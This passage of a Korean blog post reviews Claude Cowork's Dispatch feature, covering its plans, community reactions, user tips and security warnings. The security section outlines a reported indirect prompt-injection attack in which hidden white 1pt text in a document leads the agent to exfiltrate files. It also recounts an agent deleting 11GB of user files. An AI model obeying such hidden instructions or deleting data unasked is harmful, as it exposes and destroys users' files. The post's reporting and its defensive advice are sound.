&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. 구독 플랜&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Dispatch 이용 가능한 플랜이다. (2026년 3월 17일 출시 기준)&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;플랜&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;가격&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;Dispatch 이용&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Max&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;$100~$200/월&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;span style=&quot;color: #28a745;&quot;&gt;&lt;b&gt;즉시 사용 가능&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Pro&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;$20/월&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;span style=&quot;color: #ffc107;&quot;&gt;&lt;b&gt;며칠 내 순차 확장&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Free&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;무료&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;지원 안 함&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;참고:&lt;/b&gt; Cowork 자체는 Pro, Max, Team, Enterprise 플랜에서 사용 가능하다. Dispatch가 Team/Enterprise에서도 지원되는지는 2026년 3월 기준 공식 문서에서 명확히 확인되지 않았다.&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 9: 커뮤니티 반응 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;9. 커뮤니티 반응&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1978&quot; data-origin-height=&quot;1072&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bwnqX4/dJMb996TKpY/Bz4GrnybjMIMi6GFD2AB5k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bwnqX4/dJMb996TKpY/Bz4GrnybjMIMi6GFD2AB5k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bwnqX4/dJMb996TKpY/Bz4GrnybjMIMi6GFD2AB5k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbwnqX4%2FdJMb996TKpY%2FBz4GrnybjMIMi6GFD2AB5k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1978&quot; height=&quot;1072&quot; data-origin-width=&quot;1978&quot; data-origin-height=&quot;1072&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;출시 직후 다양한 커뮤니티에서 반응이 쏟아졌다. &lt;br /&gt;크게 보면 &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;&quot;방향은 맞다, 실행은 아직이다(great direction, questionable execution)&quot;&lt;/b&gt;&lt;/span&gt;로 수렴한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 9-1: X(트위터) --&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;&quot;OpenClaw 킬러&quot; 논쟁&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;출시 당일 X에서 가장 뜨거웠던 키워드는 &lt;b&gt;&quot;OpenClaw killer&quot;&lt;/b&gt;였다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Anthropic 엔지니어 &lt;b&gt;Felix Rieseberg&lt;/b&gt;의 발표 포스트가 &lt;b&gt;약 600만 뷰, 17,000+ 좋아요&lt;/b&gt;를 기록하며 불을 붙였다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8f9fa; border-left: 4px solid #6c757d; padding: 20px; margin: 20px 0; border-radius: 0 8px 8px 0; font-style: italic;&quot;&gt;&quot;We're shipping a new feature in Claude Cowork as a research preview that I'm excited about: Dispatch! One persistent conversation with Claude that runs on your computer. Message it from your phone. Come back to finished work.&quot;&lt;br /&gt;&lt;span style=&quot;font-size: 13px; color: #666; font-style: normal;&quot;&gt;&amp;mdash; Felix Rieseberg (@felixrieseberg), Anthropic 엔지니어&lt;/span&gt;&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude Code 창시자 &lt;b&gt;Boris Cherny&lt;/b&gt;는 한 줄로 요약했다. &lt;b&gt;&quot;You can now touch grass in Cowork, too.&quot;&lt;/b&gt; (인터넷 밈 &quot;touch grass&quot; = 컴퓨터 앞에서 벗어나라는 뜻. 이제 Cowork 쓰면서 밖에 나갈 수 있다는 의미다.)&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Wharton 교수 &lt;b&gt;Ethan Mollick&lt;/b&gt;은 전략적 관점에서 평가했다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8f9fa; border-left: 4px solid #6c757d; padding: 20px; margin: 20px 0; border-radius: 0 8px 8px 0; font-style: italic;&quot;&gt;&quot;Claude Cowork Dispatch covers 90% of what I was trying to use OpenClaw for, but feels far less likely to upload my entire drive to a malware site.&quot;&lt;br /&gt;&lt;span style=&quot;font-size: 13px; color: #666; font-style: normal;&quot;&gt;&amp;mdash; Ethan Mollick (@emollick), Wharton 교수 (Latent Space AINews 인용, 91,500뷰)&lt;/span&gt;&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;OpenClaw 킬러&quot; 쪽 반응도 거셌다.&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;@BentoBoiNFT&lt;/b&gt;: &quot;Claude just killed OpenClaw with this update. You no longer need to buy a Mac Mini. I say this as someone who owns one lol&quot;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;@NikolaiHauckx&lt;/b&gt;: &quot;Claude Dispatch just one-shotted OpenClaw.&quot;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;@JulianGoldieSEO&lt;/b&gt;: &quot;No more buggy, technical setups. No more expensive API token drains.&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;출시 당일의 밈을 한 줄로 요약하면 이렇다. &lt;b&gt;&quot;Anthropic built OpenClaw faster than OpenAI.&quot;&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 9-2: Reddit --&gt;
&lt;h4 style=&quot;font-size: 18px; color: #1a3a52; margin: 20px 0 12px; font-weight: 600;&quot; data-ke-size=&quot;size20&quot;&gt;불만 사항 &amp;mdash; 반복되는 문제들&lt;/h4&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #f8d7da;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #f5c6cb; font-weight: 600;&quot;&gt;문제&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #f5c6cb; font-weight: 600;&quot;&gt;상세&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #f5c6cb;&quot;&gt;&lt;b&gt;신뢰성&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #f5c6cb;&quot;&gt;복잡한 다단계 작업에서 중간에 멈추거나 지시를 잘못 해석하는 사례 빈번&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #fff5f5;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #f5c6cb;&quot;&gt;&lt;b&gt;Windows 지원&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #f5c6cb;&quot;&gt;설정 실패, 가상화 에러, Windows Home/ARM 미지원 등 문제 다수 보고&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #f5c6cb;&quot;&gt;&lt;b&gt;토큰 소모&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #f5c6cb;&quot;&gt;&quot;Cowork가 할당량을 gobbles(폭식)한다&quot; &amp;mdash; Pro/Max 할당량이 너무 빨리 소진된다는 불만&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #fff5f5;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #f5c6cb;&quot;&gt;&lt;b&gt;Mac 슬립&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #f5c6cb;&quot;&gt;Mac 덮개를 닫거나 슬립 모드에 들어가면 Dispatch가 끊김 &amp;mdash; 현재 공식 우회법 없음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #f5c6cb;&quot;&gt;&lt;b&gt;단일 스레드&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #f5c6cb;&quot;&gt;대화가 1개 스레드에 고정되며, 완료 알림(푸시)도 없음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #fff5f5;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #f5c6cb;&quot;&gt;&lt;b&gt;메모리 없음&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #f5c6cb;&quot;&gt;세션 간 기억 유지가 안 됨 &amp;mdash; Global Instructions에 저장하는 것이 우회법&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;!-- 9-3: 테크 블로그 &amp; HN --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Hacker News&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Hacker News&lt;/b&gt;에서는 냉정한 평가가 지배적이었다.&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;&quot;catch-up move, not a breakthrough&quot;&lt;/b&gt; &amp;mdash; 따라잡기지 돌파구는 아니다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;보안이 핵심 관심사: 폰 명령이 데스크탑의 파일/브라우저/커넥터에 접근하는 구조적 리스크&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&quot;unbounded agent&quot; 보다 &lt;b&gt;scoped permissions + human approval&lt;/b&gt;을 선호하는 의견 다수&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;제품 파편화 비판: Claude의 기능/인터페이스가 너무 많아 혼란스럽다는 지적&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;그러나 &lt;b&gt;&quot;이 방향은 불가피하다&quot;&lt;/b&gt;는 점에서는 대체로 동의. 이미 SSH/tmux/Telegram 봇으로 비슷한 워크플로우를 운영하는 유저도 다수&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-size: 13px; color: #888;&quot;&gt;(참고: Hacker News 스레드 news.ycombinator.com/item?id=47461151)&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 9-4: 한국 커뮤니티 --&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;한국 커뮤니티&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;한국에서도 반응이 있었다. 전반적으로 &lt;b&gt;&quot;전략적으로 인상적, 운영적으로 회의적&quot;&lt;/b&gt;이라는 평가다.&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;GeekNews (news.hada.io)&lt;/b&gt;: &quot;Claude Cowork Dispatch &amp;mdash; 어디서든 Claude에게 작업시키기&quot; 게시물 등록. 다만 Dispatch 자체보다 Cowork가 macOS에 &lt;b&gt;10GB VM 번들을 조용히 생성&lt;/b&gt;하는 것에 대한 불만이 더 큰 관심을 받았다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;GPTers (gpters.org)&lt;/b&gt;: &quot;Claude Cowork 사용법 총정리 &amp;mdash; Dispatch부터 플러그인까지&quot; 가이드 게시. Windows 지원 요청이 다수 달렸다 (아시아 시장에 Windows 유저가 많다).&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Brunch&lt;/b&gt;: Claude Code의 Remote Control 개념을 비개발자용 Cowork 환경에 적용한 것이라는 분석.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Threads (@choi.openai)&lt;/b&gt;: &quot;로컬 샌드박스 환경에서 코드가 실행되어 파일이 외부로 나가지 않고, 접근 권한도 사용자 승인 후 진행&quot;이라며 보안 구조를 소개.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 9-5: 보안 --&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;보안 커뮤니티의 경고&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1988&quot; data-origin-height=&quot;1086&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bOgJTY/dJMcaipe5pM/0sweXXqgOQmnTDvw7Rje71/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bOgJTY/dJMcaipe5pM/0sweXXqgOQmnTDvw7Rje71/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bOgJTY/dJMcaipe5pM/0sweXXqgOQmnTDvw7Rje71/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbOgJTY%2FdJMcaipe5pM%2F0sweXXqgOQmnTDvw7Rje71%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1988&quot; height=&quot;1086&quot; data-origin-width=&quot;1988&quot; data-origin-height=&quot;1086&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Dispatch 출시를 전후로 Cowork의 보안 취약점에 대한 경고도 이어졌다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;11GB 파일 삭제 사건&lt;/b&gt; &amp;mdash; 2026년 1월, YouTube 크리에이터 James McAulay가 Cowork출시 직후&amp;nbsp; Cowork에 &quot;파일을 논리적으로 정리해줘&quot;라고 지시했더니 11GB가 삭제된 사건이 바이럴됐다. 작업 목록에 &lt;b&gt;&quot;Delete user data folder: Completed&quot;&lt;/b&gt;가 표시된 스크린샷이 퍼졌다. 삭제된 파일이 중요하지 않았다고 밝혔지만, 커뮤니티에서는 &lt;b&gt;&quot;비기술 사용자가 타겟인데, 그 사용자들은 rm -rf가 뭔지 모른다&quot;&lt;/b&gt;는 점이 핵심 우려로 지목됐다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;PromptArmor 파일 탈취 취약점&lt;/b&gt; &amp;mdash; 보안 연구 업체 PromptArmor는 2026년 1월, 간접 프롬프트 인젝션을 통한 파일 탈취 공격을 시연했다. 공격 경로는 이렇다.&lt;/p&gt;
&lt;ol style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;사용자가 Cowork에 로컬 폴더 접근 권한 부여&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;해당 폴더에 숨겨진 프롬프트 인젝션이 포함된 문서 존재 (1pt 폰트, 흰색 글씨)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;Cowork가 파일 분석 시 인젝션 자동 트리거&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;공격자의 API 키로 피해자 파일이 외부로 유출&lt;/li&gt;
&lt;/ol&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;보안 연구자 Simon Willison은 이를 &lt;b&gt;&quot;lethal trifecta&quot;&lt;/b&gt;(치명적 3요소)로 불렀다. 개인 데이터 접근 + 신뢰할 수 없는 입력 노출 + 외부 통신 능력이 동시에 존재하는 구조다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;2026년 3월 20일에는 &lt;b&gt;CVE-2026-33068&lt;/b&gt;(Claude Code 2.1.53 이전, workspace trust 우회 취약점)도 공개됐다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;Cowork / Dispatch 사용 시 주의사항&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;중요한 파일이 있는 폴더는 접근 범위에서 제외하거나 주기적으로 백업&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&quot;정리해줘&quot;, &quot;삭제해줘&quot; 같은 광범위한 지시는 구체적으로 범위를 한정해서 요청&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;외부에서 받은 문서를 Cowork으로 분석할 때는 출처를 신뢰할 수 있는지 먼저 확인&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;첫 사용 시에는 중요하지 않은 파일로 먼저 테스트&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;!-- 9-6: 실전 팁 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;TIP&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #d4edda;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: center; border: 1px solid #b8dacc; font-weight: 600; width: 40px;&quot;&gt;#&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b8dacc; font-weight: 600;&quot;&gt;팁&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b8dacc; font-weight: 600; width: 100px;&quot;&gt;출처&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b8dacc; text-align: center;&quot;&gt;1&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b8dacc;&quot;&gt;&lt;b&gt;구체적 파일 경로 지정&lt;/b&gt; &amp;mdash; &quot;find my budget somewhere&quot;보다 &quot;Check /projects/Q1/budget.xlsx&quot;가 성공률이 훨씬 높다&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b8dacc;&quot;&gt;Reddit&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f0f9f0;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b8dacc; text-align: center;&quot;&gt;2&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b8dacc;&quot;&gt;&lt;b&gt;결과물 중심 프롬프트&lt;/b&gt; &amp;mdash; 단계별로 지시하지 말고, &quot;X를 Y 형식으로 이 폴더에 만들어줘&quot;처럼 결과를 지정&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b8dacc;&quot;&gt;공식 문서&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b8dacc; text-align: center;&quot;&gt;3&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b8dacc;&quot;&gt;&lt;b&gt;Mac 슬립 방지 설정&lt;/b&gt; &amp;mdash; System Settings &amp;gt; Energy &amp;gt; &quot;Put hard disks to sleep when possible&quot; 끄기. 덮개 닫으면 Dispatch 끊김&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b8dacc;&quot;&gt;Reddit&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f0f9f0;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b8dacc; text-align: center;&quot;&gt;4&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b8dacc;&quot;&gt;&lt;b&gt;커넥터는 미리 설정&lt;/b&gt; &amp;mdash; 원격으로 새 커넥터를 설정하려 하지 말 것. 데스크에서 미리 완료해 두기&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b8dacc;&quot;&gt;커뮤니티&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b8dacc; text-align: center;&quot;&gt;5&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b8dacc;&quot;&gt;&lt;b&gt;복잡한 체이닝 피하기&lt;/b&gt; &amp;mdash; &quot;이메일 요약&quot;은 잘 되지만, &quot;이메일 요약 &amp;rarr; Notion 페이지 생성 &amp;rarr; 팀 공유&quot;는 아직 불안정&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b8dacc;&quot;&gt;MacStories&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f0f9f0;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b8dacc; text-align: center;&quot;&gt;6&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b8dacc;&quot;&gt;&lt;b&gt;&quot;실행 전 질문&quot; 강제&lt;/b&gt; &amp;mdash; &quot;먼저 확인 질문을 하고, 계획을 보여주고, 그 다음 실행해&quot;라고 프롬프트에 포함&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b8dacc;&quot;&gt;Reddit&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b8dacc; text-align: center;&quot;&gt;7&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b8dacc;&quot;&gt;&lt;b&gt;전용 워크스페이스 폴더&lt;/b&gt; &amp;mdash; about-me.md, 스타일 규칙, 템플릿 등 컨텍스트 파일을 하나의 폴더에 모아두면 작업 품질이 크게 올라감&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b8dacc;&quot;&gt;Reddit&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f0f9f0;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b8dacc; text-align: center;&quot;&gt;8&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b8dacc;&quot;&gt;&lt;b&gt;메모리 우회법&lt;/b&gt; &amp;mdash; 세션 간 기억이 안 되므로 Global Instructions에 반복 필요 정보를 저장&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b8dacc;&quot;&gt;Reddit&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b8dacc; text-align: center;&quot;&gt;9&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b8dacc;&quot;&gt;&lt;b&gt;브라우저 자동화보다 커넥터/API 사용&lt;/b&gt; &amp;mdash; Chrome UI 조작은 느리고 불안정하니 가능하면 커넥터로 해결&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b8dacc;&quot;&gt;Reddit&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f0f9f0;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b8dacc; text-align: center;&quot;&gt;10&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b8dacc;&quot;&gt;&lt;b&gt;Sonnet으로 드래프트, Opus는 리뷰&lt;/b&gt; &amp;mdash; 사용량 관리 전략. 초안은 Sonnet, 최종 확인은 Opus로 나눠 쓰면 할당량 절약&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b8dacc;&quot;&gt;Reddit&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;!-- 종합 판정 --&gt;
